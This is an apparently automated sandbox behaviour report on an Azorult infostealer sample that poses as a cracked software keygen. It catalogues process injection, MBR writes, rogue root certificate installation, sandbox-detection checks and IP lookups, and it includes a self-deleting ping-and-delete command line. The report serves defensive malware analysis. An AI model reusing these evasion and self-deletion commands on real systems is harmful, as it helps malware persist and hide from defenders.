azorult | 069f68661258109f221d67ef6ed96c5f36c230784786cc400a293caeed5da4ce

Peripheral Device Discovery

System Information Discovery

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

61 api.ipify.org
97 ipinfo.io
100 ipinfo.io
126 ip-api.com

flow	ioc
61	api.ipify.org
97	ipinfo.io
100	ipinfo.io
126	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

Processes:

Setup.exeAD754B4D3FE2C4EE.exeAD754B4D3FE2C4EE.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	Setup.exe
File opened for modification	\??\PhysicalDrive0	AD754B4D3FE2C4EE.exe
File opened for modification	\??\PhysicalDrive0	AD754B4D3FE2C4EE.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Setup.exe

pid process

4324 Setup.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

AD754B4D3FE2C4EE.exeC181.tmp.exe

description	pid	process	target process
PID 4596 set thread context of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 set thread context of 1856	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 3684 set thread context of 2628	3684	C181.tmp.exe	C181.tmp.exe

Drops file in Windows directory 2 IoCs

Processes:

multitimer.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5800	3280	WerFault.exe	bvd2u1krvsj.exe
5132	3280	WerFault.exe	bvd2u1krvsj.exe
540	3280	WerFault.exe	bvd2u1krvsj.exe
5332	3280	WerFault.exe	bvd2u1krvsj.exe
4872	3280	WerFault.exe	bvd2u1krvsj.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

Processes:

AD754B4D3FE2C4EE.exeAD754B4D3FE2C4EE.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	AD754B4D3FE2C4EE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	AD754B4D3FE2C4EE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	AD754B4D3FE2C4EE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	AD754B4D3FE2C4EE.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	AD754B4D3FE2C4EE.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

C181.tmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C181.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C181.tmp.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

5580 taskkill.exe
2088 taskkill.exe
3188 taskkill.exe

pid	process
5580	taskkill.exe
2088	taskkill.exe
3188	taskkill.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Setup.exeaskinstall20.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD	Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576	Setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	askinstall20.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	askinstall20.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid process

1428 PING.EXE
4728 PING.EXE
4488 PING.EXE
4532 PING.EXE
2220 PING.EXE

pid	process
1428	PING.EXE
4728	PING.EXE
4488	PING.EXE
4532	PING.EXE
2220	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	98	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	103	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

1615157752548.exe1615157754126.exefile.exemultitimer.exe

pid	process
1068	1615157752548.exe
1068	1615157752548.exe
1876	1615157754126.exe
1876	1615157754126.exe
5020	file.exe
5020	file.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
5020	file.exe
5020	file.exe
5020	file.exe
5020	file.exe
5020	file.exe
5020	file.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe
1072	multitimer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	4600	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4600	msiexec.exe
Token: SeSecurityPrivilege	4768	msiexec.exe
Token: SeCreateTokenPrivilege	4600	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4600	msiexec.exe
Token: SeLockMemoryPrivilege	4600	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4600	msiexec.exe
Token: SeMachineAccountPrivilege	4600	msiexec.exe
Token: SeTcbPrivilege	4600	msiexec.exe
Token: SeSecurityPrivilege	4600	msiexec.exe
Token: SeTakeOwnershipPrivilege	4600	msiexec.exe
Token: SeLoadDriverPrivilege	4600	msiexec.exe
Token: SeSystemProfilePrivilege	4600	msiexec.exe
Token: SeSystemtimePrivilege	4600	msiexec.exe
Token: SeProfSingleProcessPrivilege	4600	msiexec.exe
Token: SeIncBasePriorityPrivilege	4600	msiexec.exe
Token: SeCreatePagefilePrivilege	4600	msiexec.exe
Token: SeCreatePermanentPrivilege	4600	msiexec.exe
Token: SeBackupPrivilege	4600	msiexec.exe
Token: SeRestorePrivilege	4600	msiexec.exe
Token: SeShutdownPrivilege	4600	msiexec.exe
Token: SeDebugPrivilege	4600	msiexec.exe
Token: SeAuditPrivilege	4600	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4600	msiexec.exe
Token: SeChangeNotifyPrivilege	4600	msiexec.exe
Token: SeRemoteShutdownPrivilege	4600	msiexec.exe
Token: SeUndockPrivilege	4600	msiexec.exe
Token: SeSyncAgentPrivilege	4600	msiexec.exe
Token: SeEnableDelegationPrivilege	4600	msiexec.exe
Token: SeManageVolumePrivilege	4600	msiexec.exe
Token: SeImpersonatePrivilege	4600	msiexec.exe
Token: SeCreateGlobalPrivilege	4600	msiexec.exe
Token: SeCreateTokenPrivilege	4600	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4600	msiexec.exe
Token: SeLockMemoryPrivilege	4600	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4600	msiexec.exe
Token: SeMachineAccountPrivilege	4600	msiexec.exe
Token: SeTcbPrivilege	4600	msiexec.exe
Token: SeSecurityPrivilege	4600	msiexec.exe
Token: SeTakeOwnershipPrivilege	4600	msiexec.exe
Token: SeLoadDriverPrivilege	4600	msiexec.exe
Token: SeSystemProfilePrivilege	4600	msiexec.exe
Token: SeSystemtimePrivilege	4600	msiexec.exe
Token: SeProfSingleProcessPrivilege	4600	msiexec.exe
Token: SeIncBasePriorityPrivilege	4600	msiexec.exe
Token: SeCreatePagefilePrivilege	4600	msiexec.exe
Token: SeCreatePermanentPrivilege	4600	msiexec.exe
Token: SeBackupPrivilege	4600	msiexec.exe
Token: SeRestorePrivilege	4600	msiexec.exe
Token: SeShutdownPrivilege	4600	msiexec.exe
Token: SeDebugPrivilege	4600	msiexec.exe
Token: SeAuditPrivilege	4600	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4600	msiexec.exe
Token: SeChangeNotifyPrivilege	4600	msiexec.exe
Token: SeRemoteShutdownPrivilege	4600	msiexec.exe
Token: SeUndockPrivilege	4600	msiexec.exe
Token: SeSyncAgentPrivilege	4600	msiexec.exe
Token: SeEnableDelegationPrivilege	4600	msiexec.exe
Token: SeManageVolumePrivilege	4600	msiexec.exe
Token: SeImpersonatePrivilege	4600	msiexec.exe
Token: SeCreateGlobalPrivilege	4600	msiexec.exe
Token: SeCreateTokenPrivilege	4600	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4600	msiexec.exe
Token: SeLockMemoryPrivilege	4600	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

msiexec.exe

pid process

4600 msiexec.exe

pid	process
4600	msiexec.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Setup.exeAD754B4D3FE2C4EE.exeAD754B4D3FE2C4EE.exefirefox.exe1615157752548.exefirefox.exe1615157754126.exebqmu5ngs5bj.exebqmu5ngs5bj.tmp

pid	process
4324	Setup.exe
4596	AD754B4D3FE2C4EE.exe
4588	AD754B4D3FE2C4EE.exe
2196	firefox.exe
1068	1615157752548.exe
1856	firefox.exe
1876	1615157754126.exe
192	bqmu5ngs5bj.exe
4284	bqmu5ngs5bj.tmp

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Vcds_lite_1_crack_by_ViKiNG.execmd.exekeygen-pr.exekeygen-step-4.exekey.exekeygen-step-3.execmd.exeSetup.execmd.exemsiexec.exeAD754B4D3FE2C4EE.exeAD754B4D3FE2C4EE.exeaskinstall20.execmd.exe

description	pid	process	target process
PID 4808 wrote to memory of 4420	4808	Vcds_lite_1_crack_by_ViKiNG.exe	cmd.exe
PID 4808 wrote to memory of 4420	4808	Vcds_lite_1_crack_by_ViKiNG.exe	cmd.exe
PID 4808 wrote to memory of 4420	4808	Vcds_lite_1_crack_by_ViKiNG.exe	cmd.exe
PID 4420 wrote to memory of 4292	4420	cmd.exe	keygen-pr.exe
PID 4420 wrote to memory of 4292	4420	cmd.exe	keygen-pr.exe
PID 4420 wrote to memory of 4292	4420	cmd.exe	keygen-pr.exe
PID 4420 wrote to memory of 4360	4420	cmd.exe	keygen-step-1.exe
PID 4420 wrote to memory of 4360	4420	cmd.exe	keygen-step-1.exe
PID 4420 wrote to memory of 4360	4420	cmd.exe	keygen-step-1.exe
PID 4420 wrote to memory of 4444	4420	cmd.exe	keygen-step-3.exe
PID 4420 wrote to memory of 4444	4420	cmd.exe	keygen-step-3.exe
PID 4420 wrote to memory of 4444	4420	cmd.exe	keygen-step-3.exe
PID 4420 wrote to memory of 840	4420	cmd.exe	keygen-step-4.exe
PID 4420 wrote to memory of 840	4420	cmd.exe	keygen-step-4.exe
PID 4420 wrote to memory of 840	4420	cmd.exe	keygen-step-4.exe
PID 4292 wrote to memory of 2564	4292	keygen-pr.exe	key.exe
PID 4292 wrote to memory of 2564	4292	keygen-pr.exe	key.exe
PID 4292 wrote to memory of 2564	4292	keygen-pr.exe	key.exe
PID 840 wrote to memory of 4324	840	keygen-step-4.exe	Setup.exe
PID 840 wrote to memory of 4324	840	keygen-step-4.exe	Setup.exe
PID 840 wrote to memory of 4324	840	keygen-step-4.exe	Setup.exe
PID 2564 wrote to memory of 1996	2564	key.exe	key.exe
PID 2564 wrote to memory of 1996	2564	key.exe	key.exe
PID 2564 wrote to memory of 1996	2564	key.exe	key.exe
PID 4444 wrote to memory of 4500	4444	keygen-step-3.exe	cmd.exe
PID 4444 wrote to memory of 4500	4444	keygen-step-3.exe	cmd.exe
PID 4444 wrote to memory of 4500	4444	keygen-step-3.exe	cmd.exe
PID 4500 wrote to memory of 4532	4500	cmd.exe	PING.EXE
PID 4500 wrote to memory of 4532	4500	cmd.exe	PING.EXE
PID 4500 wrote to memory of 4532	4500	cmd.exe	PING.EXE
PID 4324 wrote to memory of 4600	4324	Setup.exe	msiexec.exe
PID 4324 wrote to memory of 4600	4324	Setup.exe	msiexec.exe
PID 4324 wrote to memory of 4600	4324	Setup.exe	msiexec.exe
PID 4324 wrote to memory of 4596	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4596	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4596	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4588	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4588	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4588	4324	Setup.exe	AD754B4D3FE2C4EE.exe
PID 4324 wrote to memory of 4784	4324	Setup.exe	cmd.exe
PID 4324 wrote to memory of 4784	4324	Setup.exe	cmd.exe
PID 4324 wrote to memory of 4784	4324	Setup.exe	cmd.exe
PID 840 wrote to memory of 1460	840	keygen-step-4.exe	askinstall20.exe
PID 840 wrote to memory of 1460	840	keygen-step-4.exe	askinstall20.exe
PID 840 wrote to memory of 1460	840	keygen-step-4.exe	askinstall20.exe
PID 4784 wrote to memory of 2220	4784	cmd.exe	PING.EXE
PID 4784 wrote to memory of 2220	4784	cmd.exe	PING.EXE
PID 4784 wrote to memory of 2220	4784	cmd.exe	PING.EXE
PID 4768 wrote to memory of 2984	4768	msiexec.exe	MsiExec.exe
PID 4768 wrote to memory of 2984	4768	msiexec.exe	MsiExec.exe
PID 4768 wrote to memory of 2984	4768	msiexec.exe	MsiExec.exe
PID 4588 wrote to memory of 2136	4588	AD754B4D3FE2C4EE.exe	cmd.exe
PID 4588 wrote to memory of 2136	4588	AD754B4D3FE2C4EE.exe	cmd.exe
PID 4588 wrote to memory of 2136	4588	AD754B4D3FE2C4EE.exe	cmd.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 4596 wrote to memory of 2196	4596	AD754B4D3FE2C4EE.exe	firefox.exe
PID 1460 wrote to memory of 4080	1460	askinstall20.exe	cmd.exe
PID 1460 wrote to memory of 4080	1460	askinstall20.exe	cmd.exe
PID 1460 wrote to memory of 4080	1460	askinstall20.exe	cmd.exe
PID 2136 wrote to memory of 2088	2136	cmd.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\Vcds_lite_1_crack_by_ViKiNG.exe
"C:\Users\Admin\AppData\Local\Temp\Vcds_lite_1_crack_by_ViKiNG.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2564
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        
        PID:1996
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:4360
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4500
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:4532
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:840
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
      4⤵
      Executes dropped EXE
      Writes to the Master Boot Record (MBR)
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Modifies system certificate store
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4324
